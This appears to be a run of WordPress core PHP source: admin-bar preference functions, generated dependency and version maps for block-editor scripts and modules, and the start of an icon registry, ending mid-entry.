$show_admin_bar = _get_admin_bar_pref(); } } /** * Filters whether to show the admin bar. * * Returning false to this hook is the recommended way to hide the admin bar. * The user's display preference is used for logged in users. * * @since 3.1.0 * * @param bool $show_admin_bar Whether the admin bar should be shown. Default false. */ $show_admin_bar = apply_filters( 'show_admin_bar', $show_admin_bar ); return $show_admin_bar; } /** * Retrieves the admin bar display preference of a user. * * @since 3.1.0 * @access private * * @param string $context Context of this preference check. Defaults to 'front'. The 'admin' * preference is no longer used. * @param int $user Optional. ID of the user to check, defaults to 0 for current user. * @return bool Whether the admin bar should be showing for this user. */ function _get_admin_bar_pref( $context = 'front', $user = 0 ) { $pref = get_user_option( "show_admin_bar_{$context}", $user ); if ( false === $pref ) { return true; } return 'true' === $pref; } array( 'dependencies' => array( 'wp-dom-ready', 'wp-i18n' ), 'version' => 'af934e5259bc51b8718e' ), 'annotations.js' => array( 'dependencies' => array( 'wp-data', 'wp-hooks', 'wp-i18n', 'wp-rich-text' ), 'version' => '4b07d06c67c3b5ea590c' ), 'api-fetch.js' => array( 'dependencies' => array( 'wp-i18n', 'wp-url' ), 'version' => 'd7efe4dc1468d36c39b8' ), 'autop.js' => array( 'dependencies' => array( ), 'version' => '9d0d0901b46f0a9027c9' ), 'base-styles.js' => array( 'dependencies' => array( ), 'version' => '8ebe97b095beb7e9279b' ), 'blob.js' => array( 'dependencies' => array( ), 'version' => '198af75fe06d924090d8' ), 'block-directory.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-plugins', 'wp-primitives', 'wp-url' ), 'version' => '23207f52d0d266f6e1c4' ), 'block-editor.js' => array( 'dependencies' => array( 'react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-preferences', 'wp-primitives', 'wp-priority-queue', 'wp-private-apis', 'wp-rich-text', 'wp-style-engine', 'wp-theme', 'wp-token-list', 'wp-upload-media', 'wp-url', 'wp-warning' ), 'version' => '93c3566b7f24c15b7e17' ), 'block-library.js' => array( 'dependencies' => array( 'react', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-autop', 'wp-blob', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-patterns', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-upload-media', 'wp-url', 'wp-wordcount' ), 'module_dependencies' => array( array( 'id' => '@wordpress/latex-to-mathml', 'import' => 'dynamic' ) ), 'version' => '2dffdfe77b9c5cba960e' ), 'block-serialization-default-parser.js' => array( 'dependencies' => array( ), 'version' => 'bff55bd3f1ce9df0c99c' ), 'block-serialization-spec-parser.js' => array( 'dependencies' => array( ), 'version' => '9ebc5e95e1de1cabd1e6' ), 'blocks.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-autop', 'wp-blob', 'wp-block-serialization-default-parser', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-private-apis', 'wp-rich-text', 'wp-shortcode', 'wp-warning' ), 'version' => 'ef38e42500165bfda301' ), 'commands.js' => array( 'dependencies' => array( 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-primitives', 'wp-private-apis' ), 'version' => 'e3d8bba53f4ffea4fcd2' ), 'components.js' => array( 'dependencies' => array( 'react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-compose', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-warning' ), 'version' => '5dedfe13f08880193a28' ), 'compose.js' => array( 'dependencies' => array( 'react', 'react-jsx-runtime', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-is-shallow-equal', 'wp-keycodes', 'wp-priority-queue', 'wp-undo-manager' ), 'version' => 'edb5a8c0b5bf71686403' ), 'core-commands.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-commands', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-private-apis', 'wp-router', 'wp-url' ), 'version' => 'b209152e7e51279d7c28' ), 'core-data.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-private-apis', 'wp-rich-text', 'wp-undo-manager', 'wp-url', 'wp-warning' ), 'version' => '89931f90e4df5eb5f8a3' ), 'customize-widgets.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-is-shallow-equal', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-widgets' ), 'version' => '524dc7a4326b77064831' ), 'data.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-is-shallow-equal', 'wp-priority-queue', 'wp-private-apis', 'wp-redux-routine' ), 'version' => '1756b6a2676c1b3369ab' ), 'data-controls.js' => array( 'dependencies' => array( 'wp-api-fetch', 'wp-data', 'wp-deprecated' ), 'version' => '730061ade69d7f341014' ), 'date.js' => array( 'dependencies' => array( 'moment', 'wp-deprecated' ), 'version' => 'c9f8e7dd3232716f34e9' ), 'deprecated.js' => array( 'dependencies' => array( 'wp-hooks' ), 'version' => '990e85f234fee8f7d446' ), 'dom.js' => array( 'dependencies' => array( 'wp-deprecated' ), 'version' => '66a6cf58e0c4cd128af0' ), 'dom-ready.js' => array( 'dependencies' => array( ), 'version' => 'a06281ae5cf5500e9317' ), 'edit-post.js' => array( 'dependencies' => array( 'media-models', 'media-views', 'postbox', 'react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-editor', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-style-engine', 'wp-theme', 'wp-url', 'wp-widgets' ), 'module_dependencies' => array( array( 'id' => '@wordpress/route', 'import' => 'static' ) ), 'version' => '28ef50b859708963e197' ), 'edit-site.js' => array( 'dependencies' => array( 'react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-dom-ready', 'wp-editor', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-router', 'wp-style-engine', 'wp-theme', 'wp-url', 'wp-warning', 'wp-widgets' ), 'module_dependencies' => array( array( 'id' => '@wordpress/route', 'import' => 'static' ) ), 'version' => 'dfd078032a67983c4d32' ), 'edit-widgets.js' => array( 'dependencies' => array( 'react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-block-editor', 'wp-block-library', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-theme', 'wp-url', 'wp-viewport', 'wp-widgets' ), 'module_dependencies' => array( array( 'id' => '@wordpress/route', 'import' => 'static' ) ), 'version' => '899c5ac5dcb94e19d378' ), 'editor.js' => array( 'dependencies' => array( 'react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-block-editor', 'wp-block-serialization-default-parser', 'wp-blocks', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-hooks', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-media-utils', 'wp-notices', 'wp-patterns', 'wp-plugins', 'wp-preferences', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-server-side-render', 'wp-style-engine', 'wp-theme', 'wp-upload-media', 'wp-url', 'wp-viewport', 'wp-warning', 'wp-wordcount' ), 'module_dependencies' => array( array( 'id' => '@wordpress/route', 'import' => 'static' ) ), 'version' => '37faadbdf6c40cb0c71c' ), 'element.js' => array( 'dependencies' => array( 'react', 'react-dom', 'wp-escape-html' ), 'version' => '15ba804677f72a8db97b' ), 'escape-html.js' => array( 'dependencies' => array( ), 'version' => '3f093e5cca67aa0f8b56' ), 'format-library.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-private-apis', 'wp-rich-text', 'wp-url' ), 'module_dependencies' => array( array( 'id' => '@wordpress/latex-to-mathml', 'import' => 'dynamic' ) ), 'version' => 'f89be9586f2d9ce4545a' ), 'hooks.js' => array( 'dependencies' => array( ), 'version' => '7496969728ca0f95732d' ), 'html-entities.js' => array( 'dependencies' => array( ), 'version' => '8c6fa5b869dfeadc4af2' ), 'i18n.js' => array( 'dependencies' => array( 'wp-hooks' ), 'version' => '781d11515ad3d91786ec' ), 'is-shallow-equal.js' => array( 'dependencies' => array( ), 'version' => '5d84b9f3cb50d2ce7d04' ), 'keyboard-shortcuts.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-data', 'wp-element', 'wp-keycodes' ), 'version' => '2ed78d3b4c23f38804e0' ), 'keycodes.js' => array( 'dependencies' => array( 'wp-i18n' ), 'version' => 'aa1a141e3468afe7f852' ), 'list-reusable-blocks.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-api-fetch', 'wp-blob', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n' ), 'version' => '2e35ebd5dbaccb5a90c5' ), 'media-utils.js' => array( 'dependencies' => array( 'react', 'react-dom', 'react-jsx-runtime', 'wp-a11y', 'wp-api-fetch', 'wp-blob', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-keycodes', 'wp-notices', 'wp-primitives', 'wp-private-apis', 'wp-theme', 'wp-url', 'wp-warning' ), 'version' => '85f1375ab5f23cd5d13c' ), 'notices.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-components', 'wp-data' ), 'version' => '218d0173a31ae7269246' ), 'nux.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-primitives' ), 'version' => '14d2335a0007b36b9112' ), 'patterns.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-a11y', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-private-apis', 'wp-url' ), 'version' => '714c49ed2942c98d088f' ), 'plugins.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-compose', 'wp-deprecated', 'wp-element', 'wp-hooks', 'wp-is-shallow-equal', 'wp-primitives' ), 'version' => '72e3cf01c2b3535a9432' ), 'preferences.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-a11y', 'wp-components', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-element', 'wp-i18n', 'wp-preferences-persistence', 'wp-primitives', 'wp-private-apis' ), 'version' => '035813168e404aa30193' ), 'preferences-persistence.js' => array( 'dependencies' => array( 'wp-api-fetch' ), 'version' => 'e8033be98338d1861bca' ), 'primitives.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-element' ), 'version' => 'a5c905ec27bcd76ef287' ), 'priority-queue.js' => array( 'dependencies' => array( ), 'version' => '1f0e89e247bc0bd3f9b9' ), 'private-apis.js' => array( 'dependencies' => array( ), 'version' => '835912f0086b9e59aed4' ), 'react-i18n.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-element', 'wp-i18n' ), 'version' => '9b74577dbd7e50f6b77b' ), 'redux-routine.js' => array( 'dependencies' => array( ), 'version' => '64f9f5001aabc046c605' ), 'reusable-blocks.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url' ), 'version' => '21d86e46535b79d9afda' ), 'rich-text.js' => array( 'dependencies' => array( 'wp-a11y', 'wp-compose', 'wp-data', 'wp-deprecated', 'wp-dom', 'wp-element', 'wp-escape-html', 'wp-i18n', 'wp-keycodes', 'wp-private-apis' ), 'version' => '16449e6108f48327f368' ), 'router.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-compose', 'wp-element', 'wp-private-apis', 'wp-url' ), 'version' => '0249e6724784b1c2583b' ), 'server-side-render.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-api-fetch', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url' ), 'version' => '10a51bf05ced35b78092' ), 'shortcode.js' => array( 'dependencies' => array( ), 'version' => '11742fe18cc215d3d5ab' ), 'style-engine.js' => array( 'dependencies' => array( ), 'version' => 'faa37ce61b7ec8394b2a' ), 'theme.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-element', 'wp-private-apis' ), 'version' => 'e22ce547a4420507b323' ), 'token-list.js' => array( 'dependencies' => array( ), 'version' => '16f0aebdd39d87c2a84b' ), 'undo-manager.js' => array( 'dependencies' => array( 'wp-is-shallow-equal' ), 'version' => '27bb0ae036a2c9d4a1b5' ), 'upload-media.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-blob', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-private-apis', 'wp-url' ), 'module_dependencies' => array( ), 'version' => 'd359c2cccf866d7082d2' ), 'url.js' => array( 'dependencies' => array( ), 'version' => 'bb0f766c3d2efe497871' ), 'viewport.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-compose', 'wp-data' ), 'version' => '8614025b8075d220d78f' ), 'warning.js' => array( 'dependencies' => array( ), 'version' => '36fdbdc984d93aee8a97' ), 'widgets.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives' ), 'version' => '02b8dd683bc610f979fa' ), 'wordcount.js' => array( 'dependencies' => array( ), 'version' => '3b928d5db8724a8614dd' ) ); array( 'dependencies' => array( ), 'version' => '1c371cb517a97cdbcb9f' ), 'abilities/index.js' => array( 'dependencies' => array( 'wp-data', 'wp-i18n' ), 'version' => 'f3475bc77a30dcc5b38d' ), 'block-editor/utils/fit-text-frontend.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '383c7a8bd24a1f2fd9b9' ), 'block-library/accordion/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '2af01b43d30739c3fb8d' ), 'block-library/file/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '7d4d261d10dca47ebecb' ), 'block-library/form/view.js' => array( 'dependencies' => array( ), 'version' => '5542f8ad251fe43ef09e' ), 'block-library/image/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '25ee935fd6c67371d0f3' ), 'block-library/navigation/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '96a846e1d7b789c39ab9' ), 'block-library/playlist/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '99f747d731f80246db11' ), 'block-library/query/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ), array( 'id' => '@wordpress/interactivity-router', 'import' => 'dynamic' ) ), 'version' => '7a4ec5bfb61a7137cf4b' ), 'block-library/search/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '38bd0e230eaffa354d2a' ), 'block-library/tabs/view.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '1f60dd5e3fa56c6b2e2e' ), 'boot/index.js' => array( 'dependencies' => array( 'react', 'react-dom', 'react-jsx-runtime', 'wp-commands', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-keycodes', 'wp-notices', 'wp-primitives', 'wp-private-apis', 'wp-theme', 'wp-url' ), 'module_dependencies' => array( array( 'id' => '@wordpress/a11y', 'import' => 'static' ), array( 'id' => '@wordpress/lazy-editor', 'import' => 'dynamic' ), array( 'id' => '@wordpress/route', 'import' => 'static' ) ), 'version' => '54bb5a420026a61c7e4f' ), 'connectors/index.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-private-apis' ), 'version' => '274797868955a828dfdc' ), 'core-abilities/index.js' => array( 'dependencies' => array( 'wp-api-fetch', 'wp-url' ), 'module_dependencies' => array( array( 'id' => '@wordpress/abilities', 'import' => 'static' ) ), 'version' => '012760fd849397dd0031' ), 'edit-site-init/index.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-data', 'wp-element', 'wp-primitives' ), 'module_dependencies' => array( array( 'id' => '@wordpress/boot', 'import' => 'static' ) ), 'version' => 'e57f44d1a9f69e75d2d9' ), 'interactivity/index.js' => array( 'dependencies' => array( ), 'version' => 'efaa5193bbad9c60ffd1' ), 'interactivity-router/full-page.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/interactivity-router', 'import' => 'dynamic' ) ), 'version' => '5c07cd7a12ae073c5241' ), 'interactivity-router/index.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/a11y', 'import' => 'dynamic' ), array( 'id' => '@wordpress/interactivity', 'import' => 'static' ) ), 'version' => '71aa17bac91628a0f874' ), 'latex-to-mathml/index.js' => array( 'dependencies' => array( ), 'version' => 'e5fd3ae6d2c3b6e669da' ), 'latex-to-mathml/loader.js' => array( 'dependencies' => array( ), 'module_dependencies' => array( array( 'id' => '@wordpress/latex-to-mathml', 'import' => 'dynamic' ) ), 'version' => '4f37456af539bd3d2351' ), 'lazy-editor/index.js' => array( 'dependencies' => array( 'react-jsx-runtime', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-core-data', 'wp-data', 'wp-editor', 'wp-element', 'wp-i18n', 'wp-private-apis', 'wp-style-engine' ), 'version' => '30ab62f45bfe9f971ea0' ), 'route/index.js' => array( 'dependencies' => array( 'react', 'react-dom', 'react-jsx-runtime', 'wp-private-apis' ), 'version' => 'c5843b6c5e84b352f43b' ), 'workflow/index.js' => array( 'dependencies' => array( 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-element', 'wp-i18n', 'wp-keyboard-shortcuts', 'wp-primitives', 'wp-private-apis' ), 'module_dependencies' => array( array( 'id' => '@wordpress/abilities', 'import' => 'static' ) ), 'version' => '13556bc597bbf2a8d620' ) ); array( 'label' => _x( 'Arrow Down Left', 'icon label' ), 'filePath' => 'arrow-down-left.svg', ), 'arrow-down-right' => array( 'label' => _x( 'Arrow Down Right', 'icon label' ), 'filePath' => 'arrow-down-right.svg', ), 'arrow-down' => array( 'label' => _x( 'Arrow Down', 'icon label' ), 'filePath' => 'arrow-down.svg', ), 'arrow-left' => array( 'label' => _x( 'Arrow Left', 'icon label' ), 'filePath' => 'arrow-left.svg', ), 'arrow-right' => array( 'label' => _x( 'Arrow Right', 'icon label' ), 'filePath' => 'arrow-right.svg', ), 'arrow-up-left' => array( 'label' => _x( 'Arrow Up Left', 'icon label' ), 'filePath' => 'arrow-up-left.svg', ), 'arrow-up-right' => array( 'label' => _x( 'Arrow Up Right', 'icon label' ), 'filePath' => 'arrow-up-right.svg', ), 'arrow-up' => array( 'label' => _x( 'Arrow Up', 'icon label' ), 'filePath' => 'arrow-up.svg', ), 'at-symbol' => array( 'label' => _x( 'At Symbol (@)', 'icon label' ), 'filePath' => 'at-symbol.svg', ), 'audio' => array( 'label' => _x( 'Audio', 'icon label' ), 'filePath' => 'audio.svg', ), 'bell' => array( 'label' => _x( 'Bell', 'icon label' ), 'filePath' => 'bell.svg', ), 'block-default' => array( 'label' => _x( 'Block Default', 'icon label' ), 'filePath' => 'block-default.svg', ), 'block-meta' => array( 'label' => _x( 'Block Meta', 'icon label' ), 'filePath' => 'block-meta.svg', ), 'block-table' => array( 'label' => _x( 'Block Table', 'icon label' ), 'filePath' => 'block-table.svg', ), 'calendar' => array( 'label' => _x( 'Calendar', 'icon label' ), 'filePath' => 'calendar.svg', ), 'capture-photo' => array( 'label' => _x( 'Capture Photo', 'icon label' ), 'filePath' => 'capture-photo.svg', ), 'capture-video' => array( 'label' => _x( 'Capture Video', 'icon label' ), 'filePath' => 'capture-video.svg', ), 'cart' => array( 'label' => _x( 'Cart', 'icon label' ), 'filePath' => 'cart.svg', ), 'category' => array( 'label' => _x( 'Category', 'icon label' ), 'filePath' => 'category.svg', ), 'caution' => array( 'label' => _x( 'Caution', 'icon label' ), 'filePath' => 'caution.svg', ), 'chart-bar' => array( 'label' => _x( 'Chart Bar', 'icon label' ), 'filePath' => 'chart-bar.svg', ), 'check' => array( 'label' => _x( 'Check', 'icon label' ), 'filePath' => 'check.svg', ), 'chevron-down' => array( 'label' => _x( 'Chevron Down', 'icon label' ), 'filePath' => 'chevron-down.svg', ), 'chevron-down-small' => array( 'label' => _x( 'Chevron Down Small', 'icon label' ), 'filePath' => 'chevron-down-small.svg', ), 'chevron-left' => array( 'label' => _x( 'Chevron Left', 'icon label' ), 'filePath' => 'chevron-left.svg', ), 'chevron-left-small' => array( 'label' => _x( 'Chevron Left Small', 'icon label' ), 'filePath' => 'chevron-left-small.svg', ), 'chevron-right' => array( 'label' => _x( 'Chevron Right', 'icon label' ), 'filePath' => 'chevron-right.svg', ), 'chevron-right-small' => array( 'label' => _x( 'Chevron Right Small', 'icon label' ), 'filePath' => 'chevron-right-small.svg', ), 'chevron-up' => array( 'label' => _x( 'Chevron Up', 'icon label' ), 'filePath' => 'chevron-up.svg', ), 'chevron-up-down' => array( 'label' => _x( 'Chevron Up Down', 'icon label' ), 'filePath' => 'chevron-up-down.svg', ), 'chevron-up-small' => array( 'label' => _x( 'Chevron Up Small', 'icon label' ), 'filePath' => 'chevron-up-small.svg', ), 'comment' => array( 'label' => _x( 'Comment', 'icon label' ), 'filePath' => 'comment.svg', ), 'cover' => array( 'label' => _x( 'Cover', 'icon label' ), 'filePath' => 'cover.svg', ), 'create' => array( 'label' => _x( 'Create', 'icon label' ), 'filePath' => 'create.svg', ), 'desktop' => array( 'label' => _x( 'Desktop', 'icon label' ), 'filePath' => 'desktop.svg', ), 'download' => array( 'label' => _x( 'Download', 'icon label' ), 'filePath' => 'download.svg', ), 'drawer-left' => array( 'label' => _x( 'Drawer Left', 'icon label' ), 'filePath' => 'drawer-left.svg', ), 'drawer-right' => array( 'label' => _x( 'Drawer Right', 'icon label' ), 'filePath' => 'drawer-right.svg', ), 'envelope' => array( 'label' => _x( 'Envelope', 'icon label' ), 'filePath' => 'envelope.svg', ), 'error' => array( 'label' => _x( 'Error', 'icon label' ), 'filePath' => 'error.svg', ), 'external' => array( 'label' => _x( 'External', 'icon label' ), 'filePath' => 'external.svg', ), 'file' => array( 'label' => _x( 'File', 'icon label' ), 'filePath' => 'file.svg', ), 'gallery' => array( 'label' => _x( 'Gallery', 'icon label' ), 'filePath' => 'gallery.svg', ), 'group' => array( 'label' => _x( 'Group', 'icon label' ), 'filePath' => 'group.svg', ), 'heading' => array( 'label' => _x( 'Heading', 'icon label' ), 'filePath' => 'heading.svg', ), 'help' => array( 'label' => _x( 'Help', 'icon label' ), 'filePath' => 'help.svg', ), 'home' => array( 'label' => _x( 'Home', 'icon label' ), 'filePath' => 'home.svg', ), 'image' => array( 'label' => _x( 'Image', 'icon label' ), 'filePath' => 'image.svg', ), 'info' => array( 'label' => _x( 'Info', 'icon label' ), 'filePath' => 'info.svg', ), 'key' => array( 'label' => _x( 'Key', 'icon label' ), 'filePath' => 'key.svg', ), 'language' => array( 'label' => _x( 'Language', 'icon label' ), 'filePath' => 'language.svg', ), 'map-marker' => array( 'label' => _x( 'Map Marker', 'icon label' ), 'filePath' => 'map-marker.svg', ), 'menu' => array( 'label' => _x( 'Menu', 'icon label' ), 'filePath' => 'menu.svg', ), 'mobile' => array( 'label' => _x( 'Mobile', 'icon label' ), 'filePath' => 'mobile.svg', ), 'more-horizontal' => array( 'label' => _x( 'More Horizontal', 'icon label' ), 'filePath' => 'more-horizontal.svg', ), 'more-vertical' => array( 'label' => _x( 'More Vertical', 'icon label' ), 'filePath' => 'more-vertical.svg', ), 'next' => array( 'label' => _x( 'Next', 'icon label' ), 'filePath' => 'next.svg', ), 'paragraph' => array( 'label' => _x( 'Paragraph', 'icon label' ), 'filePath' => 'paragraph.svg', ), 'payment' => array( 'label' => _x( 'Payment', 'icon label' ), 'filePath' => 'payment.svg', ), 'pencil' => array( 'label' => _x( 'Pencil', 'icon label' ), 'filePath' => 'pencil.svg', ), 'people' => array( 'label' => _x( 'People', 'icon label' ), 'filePath' => 'people.svg', ), 'plus' => array( 'label' => _x( 'Plus', 'icon label' ), 'filePath' => 'plus.svg', ), 'plus-circle' => array( 'label' => _x( 'Plus Circle', 'icon label' ), 'filePath' => 'plus-circle.svg', ), 'previous' => array( 'label' => _x( 'Previous', 'icon label' ), 'filePath' => 'previous.svg', ), 'published' => array( 'label' => _x( 'Published', 'icon label' ), 'filePath' => 'published.svg', ), 'quote' => array( 'label' => _x( 'Quote', 'icon label' ), 'filePath' => 'quote.svg', ), 'receipt' => array( 'label' => _x( 'Receipt', 'icon label' ), 'filePath' => 'receipt.svg', ), 'rss' => array( 'label' => _x( 'RSS', 'icon label' ), 'filePath' => 'rss.svg', ), 'scheduled' => array( 'label' => _x( 'Scheduled', 'icon label' ), 'filePath' => 'scheduled.svg', ), 'search' => array( 'label' => _x( 'Search', 'icon label' ), 'filePath' => 'search.svg', ), 'settings' => array( 'label' => _x( 'Settings', 'icon label' ), 'filePath' => 'settings.svg', ), 'shadow' => array( 'label' => _x( 'Shadow', 'icon label' ), 'filePath' => 'shadow.svg', ), 'share' => array( 'label' => _x( 'Share', 'icon label' ), 'filePath' => 'share.svg', ), 'shield' => array( 'label' => _x( 'Shield', 'icon label' ), 'filePath' => 'shield.svg', ), 'shuffle' => array( 'label' => _x( 'Shuffle', 'icon label' ), 'filePath' => 'shuffle.svg', ), 'star-empty' => array( 'label' => _x( 'Star Empty', 'icon label' ), 'filePath' => 'star-empty.svg', ), 'star-filled' => array( 'label' => _x( 'Star Filled', 'icon label' ), 'filePath' => 'star-filled.svg', ), 'star-half' => array( 'label' => _x( 'Star Half', 'icon label' ), 'filePath' => 'star-half.svg', ), 'store' => array( 'label' => _x( 'Store', 'icon label' ), 'filePath' => 'store.svg', ), 'styles' => array( 'label' => _x( 'Styles', 'icon label' ), 'filePath' => 'styles.svg', ), 'symbol' => array( 'label' => _x( 'Symbol', 'icon label' ), 'filePath' => 'symbol.svg', ), 'symbol-filled' => array( 'label' => _x( 'Symbol Filled', 'icon label' ), 'filePath' => 'symbol-filled.svg', ), 'table' => array( 'label' => _x( 'Table', 'icon label' ), 'filePath' 